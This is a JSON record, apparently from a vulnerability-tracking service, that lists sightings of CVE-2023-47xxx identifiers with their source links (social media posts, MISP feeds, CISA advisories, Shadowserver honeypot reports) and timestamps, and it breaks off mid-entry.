{"vulnerability": "2023-47", "sightings": [{"uuid": "35e162dc-8f1b-4493-9306-9e94cb425f49", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47543", "type": "seen", "source": "https://infosec.exchange/users/screaminggoat/statuses/113471621703891497", "content": "", "creation_timestamp": "2024-11-12T19:25:41.006386Z"}, {"uuid": "bc17d4b5-7e2e-47ed-bbfc-ec0f23620573", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47246", "type": "seen", "source": "MISP/3c19819c-1dac-4ef2-bfed-be5efa7e0123", "content": "", "creation_timestamp": "2023-11-13T18:10:02.000000Z"}, {"uuid": "8abff9e2-e742-47ba-8f6a-a336d37c8ed6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47565", "type": "seen", "source": "MISP/3c19819c-1dac-4ef2-bfed-be5efa7e0123", "content": "", "creation_timestamp": "2023-12-21T18:10:02.000000Z"}, {"uuid": "01488377-8e64-49f4-9eaa-ca45b86feccf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47250", "type": "seen", "source": "MISP/0bd7388a-e1df-4806-aa82-02ce3b1ac553", "content": "", "creation_timestamp": "2023-12-31T18:18:46.000000Z"}, {"uuid": "45255705-84c7-4fe2-b37d-9a14fa21d144", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47251", "type": "seen", "source": "MISP/00941aeb-379c-4544-8c08-43e64b6120d7", "content": "", "creation_timestamp": "2023-12-31T18:18:48.000000Z"}, {"uuid": "df9b4387-1512-4ead-9ba7-ff3a4d652e88", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-4762", "type": "seen", "source": "MISP/3c19819c-1dac-4ef2-bfed-be5efa7e0123", "content": "", "creation_timestamp": "2024-02-06T18:10:02.000000Z"}, {"uuid": "bd3a65ac-a369-4a61-a5d0-f060e97ab04d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47039", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-24-319-08", "content": "", "creation_timestamp": "2024-11-14T12:00:00.000000Z"}, {"uuid": "8a17af63-933f-4a94-81f3-fb30052074ba", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47100", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-24-319-08", "content": "", "creation_timestamp": "2024-11-14T12:00:00.000000Z"}, {"uuid": "d0b17147-5403-43fa-8f54-62bb195ef538", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47038", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-24-319-08", "content": "", "creation_timestamp": "2024-11-14T12:00:00.000000Z"}, {"uuid": "6d359f2b-35f9-4118-af0e-d2810e4b309d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47838", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113622638692999393", "content": "", "creation_timestamp": "2024-12-09T11:31:17.113464Z"}, {"uuid": "e684c100-8073-41b0-9761-ef942b40c8aa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47841", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113622638707920749", "content": "", "creation_timestamp": "2024-12-09T11:31:17.385819Z"}, {"uuid": "7fb8f60e-7c1b-4bda-8e98-d0c7ed8ae4f5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47847", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113622638721668524", "content": "", "creation_timestamp": "2024-12-09T11:31:17.554882Z"}, {"uuid": "5f255533-3982-477e-8a19-55b97a418f29", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47849", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113622638736001369", "content": "", "creation_timestamp": "2024-12-09T11:31:17.914505Z"}, {"uuid": "f636c986-31aa-47d8-9d2f-061ad2c6f4f2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47869", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113622697738823974", "content": "", "creation_timestamp": "2024-12-09T11:46:17.980519Z"}, {"uuid": "f9d79fb9-0390-4779-ac33-e87a5a512dac", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47871", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113622697752632724", "content": "", "creation_timestamp": "2024-12-09T11:46:18.201026Z"}, {"uuid": "ad8af390-933d-419a-84cf-ca56e15cd844", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47397", "type": "confirmed", "source": "https://gist.github.com/LioTree/e738a06c3e7b5dfb838a8734d5e15423", "content": "", "creation_timestamp": "2025-01-07T06:04:49.000000Z"}, {"uuid": "2ef47f0b-3694-4e77-b04b-507674ff3ad4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47246", "type": "seen", "source": "https://feedsin.space/feed/CISAKevBot/items/2971919", "content": "", "creation_timestamp": "2024-12-24T20:35:38.697145Z"}, {"uuid": "e0272933-4faf-4da3-8adc-8810f5d3d732", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47523", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3ler2nclgsc2a", "content": "", "creation_timestamp": "2025-01-02T12:17:49.944283Z"}, {"uuid": "440ea019-eba1-436d-b77a-1bf7c711df03", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47179", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3ler2mmuxxd25", "content": "", "creation_timestamp": "2025-01-02T12:17:27.031352Z"}, {"uuid": "bf1e843b-7579-41b6-a520-13d87819f794", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47225", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3ler2n3pp6i25", "content": "", "creation_timestamp": "2025-01-02T12:17:42.978841Z"}, {"uuid": "efa50d3f-4dc3-478a-8062-896892e603bf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47647", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3ler2nh3g7s2a", "content": "", "creation_timestamp": "2025-01-02T12:17:54.855584Z"}, {"uuid": "ca3d860e-13ef-4795-b074-3fe7b31e08a6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47515", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3ler2na6q242m", "content": "", "creation_timestamp": "2025-01-02T12:17:47.267294Z"}, {"uuid": "bc9a0c71-e9ab-4ab6-a552-354915f887ea", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47693", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3ler2nsj3ir2o", "content": "", "creation_timestamp": "2025-01-02T12:18:06.450035Z"}, {"uuid": "b5563806-6ac7-4700-ad4e-0858291fc05c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47180", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3ler2mozqli2c", "content": "", "creation_timestamp": "2025-01-02T12:17:29.249596Z"}, {"uuid": "a03aec65-9d67-41a7-9597-f5dd0dbb2d62", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47241", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3ler2n5y77h2m", "content": "", "creation_timestamp": "2025-01-02T12:17:45.059167Z"}, {"uuid": "4fad5c7e-9e4e-4954-8cc2-fe794ae71412", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47648", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3ler2njdn5t2i", "content": "", "creation_timestamp": "2025-01-02T12:17:57.043309Z"}, {"uuid": "f9afcfdd-9a83-4b6a-8e0f-f3626d208d27", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47187", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3ler2mubjgn22", "content": "", "creation_timestamp": "2025-01-02T12:17:34.937007Z"}, {"uuid": "130ea956-3762-456b-a278-7f1403382a00", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47661", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3ler2nljttz2l", "content": "", "creation_timestamp": "2025-01-02T12:17:59.151598Z"}, {"uuid": "a4194734-295d-4caa-92b3-6714e70da3ce", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47183", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3ler2mrrruy2k", "content": "", "creation_timestamp": "2025-01-02T12:17:32.340841Z"}, {"uuid": "5bb3583f-237c-4d4b-b5d8-9209428fa00c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47188", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3ler2mwy5of2i", "content": "", "creation_timestamp": "2025-01-02T12:17:37.609041Z"}, {"uuid": "948f7658-bca5-4edc-a052-3deeb1f13086", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47224", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3ler2mzhhep2m", "content": "", "creation_timestamp": "2025-01-02T12:17:40.166059Z"}, {"uuid": "9f72be2d-09b6-47bf-9edc-c0c1ed1fe2a4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47557", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3ler2neswdf22", "content": "", "creation_timestamp": "2025-01-02T12:17:52.059495Z"}, {"uuid": "448757cf-cef5-4ee9-a054-47864a445740", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47689", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3ler2nnnq5522", "content": "", "creation_timestamp": "2025-01-02T12:18:01.451479Z"}, {"uuid": "a138fcbb-5819-4049-825d-76ad1f4ebcfa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47692", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3ler2npz3tj2l", "content": "", "creation_timestamp": "2025-01-02T12:18:04.137011Z"}, {"uuid": "a240ae36-d47d-4069-8c3c-8052b155622d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47179", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113759328143716872", "content": "", "creation_timestamp": "2025-01-02T14:53:12.740904Z"}, {"uuid": "92afb427-cff6-4afb-9c12-5d4f6b5cc558", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47180", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113759328157381620", "content": "", "creation_timestamp": "2025-01-02T14:53:12.873229Z"}, {"uuid": "23786b78-062e-4441-ba2b-fe1a40d45bb9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47183", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113759328171205781", "content": "", "creation_timestamp": "2025-01-02T14:53:13.271945Z"}, {"uuid": "a0697c38-d0f9-470d-a3a0-f6c9c60085e9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47187", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113759387169103321", "content": "", "creation_timestamp": "2025-01-02T15:08:13.153322Z"}, {"uuid": "79f5d707-31ff-4fc8-ac81-752b8d45bd89", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47188", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113759387183080415", "content": "", "creation_timestamp": "2025-01-02T15:08:13.355422Z"}, {"uuid": "32c615f6-d86c-4f7e-9957-bea241d213cd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47224", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113759387197042944", "content": "", "creation_timestamp": "2025-01-02T15:08:13.676509Z"}, {"uuid": "3c828da1-695b-4fde-9869-4476e2b83bba", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47225", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113759387210898557", "content": "", "creation_timestamp": "2025-01-02T15:08:13.924645Z"}, {"uuid": "14ec089b-67bf-4b79-a731-f14eb6cdf85e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47778", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lerelumcwd22", "content": "", "creation_timestamp": "2025-01-02T15:16:01.623026Z"}, {"uuid": "1dfa75cb-2223-48a2-b681-ad6b29ef8114", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47807", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lerelwr3tr2c", "content": "", "creation_timestamp": "2025-01-02T15:16:04.248506Z"}, {"uuid": "25d3a6a9-bcf7-4142-bc44-e09b89615b73", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47515", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113759446224570360", "content": "", "creation_timestamp": "2025-01-02T15:23:14.862645Z"}, {"uuid": "136cc197-4849-4271-9c5c-ebc911418b85", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47523", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113759446238521523", "content": "", "creation_timestamp": "2025-01-02T15:23:14.916137Z"}, {"uuid": "d463e06d-a15e-44b4-8792-0deb3bc2ad2c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47241", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113759446210640077", "content": "", "creation_timestamp": "2025-01-02T15:23:14.982918Z"}, {"uuid": "9ceacda3-d6a6-49db-a9fc-4786235372d3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47557", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113759446253059913", "content": "", "creation_timestamp": "2025-01-02T15:23:15.036892Z"}, {"uuid": "5f63c506-d744-4df5-a0ed-ae7afeebf26c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47647", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113759505254632515", "content": "", "creation_timestamp": "2025-01-02T15:38:14.975814Z"}, {"uuid": "8ab1a76e-a052-486c-903c-4df7efe0498c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47648", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113759505269642091", "content": "", "creation_timestamp": "2025-01-02T15:38:15.198036Z"}, {"uuid": "b295ce57-e640-4102-82cc-21e8e8598203", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47661", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113759505283295896", "content": "", "creation_timestamp": "2025-01-02T15:38:15.562270Z"}, {"uuid": "1bd05198-ae21-41e0-b901-e674b38652ba", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47689", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113759505297140595", "content": "", "creation_timestamp": "2025-01-02T15:38:15.759424Z"}, {"uuid": "aa2cea4d-3a15-47c0-abaa-a8c486c97e29", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47692", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113759564299646704", "content": "", "creation_timestamp": "2025-01-02T15:53:16.010088Z"}, {"uuid": "68e8581f-f614-48d9-8595-c9260fcd6c01", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47693", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113759564333327586", "content": "", "creation_timestamp": "2025-01-02T15:53:16.507956Z"}, {"uuid": "3bc86cec-e0f5-431f-903b-72232d295680", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47778", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lergwwofd62r", "content": "", "creation_timestamp": "2025-01-02T15:58:01.000991Z"}, {"uuid": "cde90ec1-e812-4247-b694-cbf4f0743f86", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47246", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2024-12-25)", "content": "", "creation_timestamp": "2024-12-25T00:00:00.000000Z"}, {"uuid": "3722836a-bc9f-42be-9cd3-166aae17fe04", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47218", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-01-31)", "content": "", "creation_timestamp": "2025-01-31T00:00:00.000000Z"}, {"uuid": "c90e94e6-9630-40cb-8217-121ad4dbea65", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47246", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-01-31)", "content": "", "creation_timestamp": "2025-01-31T00:00:00.000000Z"}, {"uuid": "d7157686-fe47-4150-a4b9-86574a22f82b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47218", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2024-10-31)", "content": "", "creation_timestamp": "2024-10-31T00:00:00.000000Z"}, {"uuid": "9c121143-b7fd-4d2c-a977-dd27b103d1ca", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47108", "type": "seen", "source": "https://gist.github.com/cwayne18/3da2b9bf101aefc5a7f783c55023b8af", "content": "", "creation_timestamp": "2025-01-28T13:36:28.000000Z"}, {"uuid": "45b63f75-7897-426c-ab00-ea7e3cada03d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47218", "type": "seen", "source": "MISP/a1e796df-2ad8-4c8d-8b69-737a004e72dd", "content": "", "creation_timestamp": "2025-02-06T03:13:46.000000Z"}, {"uuid": "e94ff3aa-5180-4882-a7e4-70cbea398129", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47159", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113901204887276183", "content": "", "creation_timestamp": "2025-01-27T16:14:19.898444Z"}, {"uuid": "91ea63fb-9495-4690-9d5e-da9e1c3a2269", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47218", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2024-12-20)", "content": "", "creation_timestamp": "2024-12-20T00:00:00.000000Z"}, {"uuid": "b8cb48f3-0a4d-457c-9856-f024a00b4a8f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47159", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lgqdmdiqov2p", "content": "", "creation_timestamp": "2025-01-27T16:16:04.545871Z"}, {"uuid": "8c6ca158-9102-4130-b859-d7cbf70f5f78", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47218", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-03-15)", "content": "", "creation_timestamp": "2025-03-15T00:00:00.000000Z"}, {"uuid": "7320abee-c4fa-4c7d-a4b5-7d504ee457c8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47218", "type": "seen", "source": "MISP/a1e796df-2ad8-4c8d-8b69-737a004e72dd", "content": "", "creation_timestamp": "2025-02-23T04:10:57.000000Z"}, {"uuid": "d93a0482-6bdb-427b-9986-f12dd1b7fb38", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47218", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-02-27)", "content": "", "creation_timestamp": "2025-02-27T00:00:00.000000Z"}, {"uuid": "04f752fd-4746-4c56-85da-53c257a82559", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-4765", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lhulplhoic2o", "content": "", "creation_timestamp": "2025-02-11T02:16:53.966327Z"}, {"uuid": "19f27e02-2e1c-4a0f-a591-a16e40b10bb1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-4784", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lhulpnxahu2c", "content": "", "creation_timestamp": "2025-02-11T02:16:56.469208Z"}, {"uuid": "89aa3ccc-a2e5-448a-a92d-8f2bfdfa81df", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47539", "type": "seen", "source": "https://infosec.exchange/users/cR0w/statuses/114184004069734379", "content": "", "creation_timestamp": "2025-03-18T14:53:53.027084Z"}, {"uuid": "c889d8bc-aa64-4dbd-af57-eeae7c0b791b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47539", "type": "seen", "source": "https://mastodon.social/users/CyberSignaler/statuses/114184219907988138", "content": "", "creation_timestamp": "2025-03-18T15:48:47.095021Z"}, {"uuid": "c764588e-50db-4f8e-918f-aba5ced1bad7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47539", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lko6ftznmw24", "content": "", "creation_timestamp": "2025-03-18T17:18:25.694567Z"}, {"uuid": "a99c125e-7d2f-4f93-97f2-d84a3378f17d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47784", "type": "seen", "source": "MISP/2bb5c40c-5583-4a30-bc62-81e5a7af21a7", "content": "", "creation_timestamp": "2025-03-19T15:49:03.000000Z"}, {"uuid": "82fb2a50-3817-4642-9fbd-4cbc2488f831", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47539", "type": "seen", "source": "https://bsky.app/profile/vulnalerts.bsky.social/post/3lkpzqbqtro2z", "content": "", "creation_timestamp": "2025-03-19T11:00:07.044034Z"}, {"uuid": "a24d3a59-d7de-4d8f-936b-037d6d60a5e3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47248", "type": "seen", "source": "https://bsky.app/profile/beikokucyber.bsky.social/post/3ljnutmfxed2z", "content": "", "creation_timestamp": "2025-03-05T21:01:59.960737Z"}, {"uuid": "a3ee8c15-f037-424d-9922-f67604d3d06e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47218", "type": "exploited", "source": "The Shadowserver 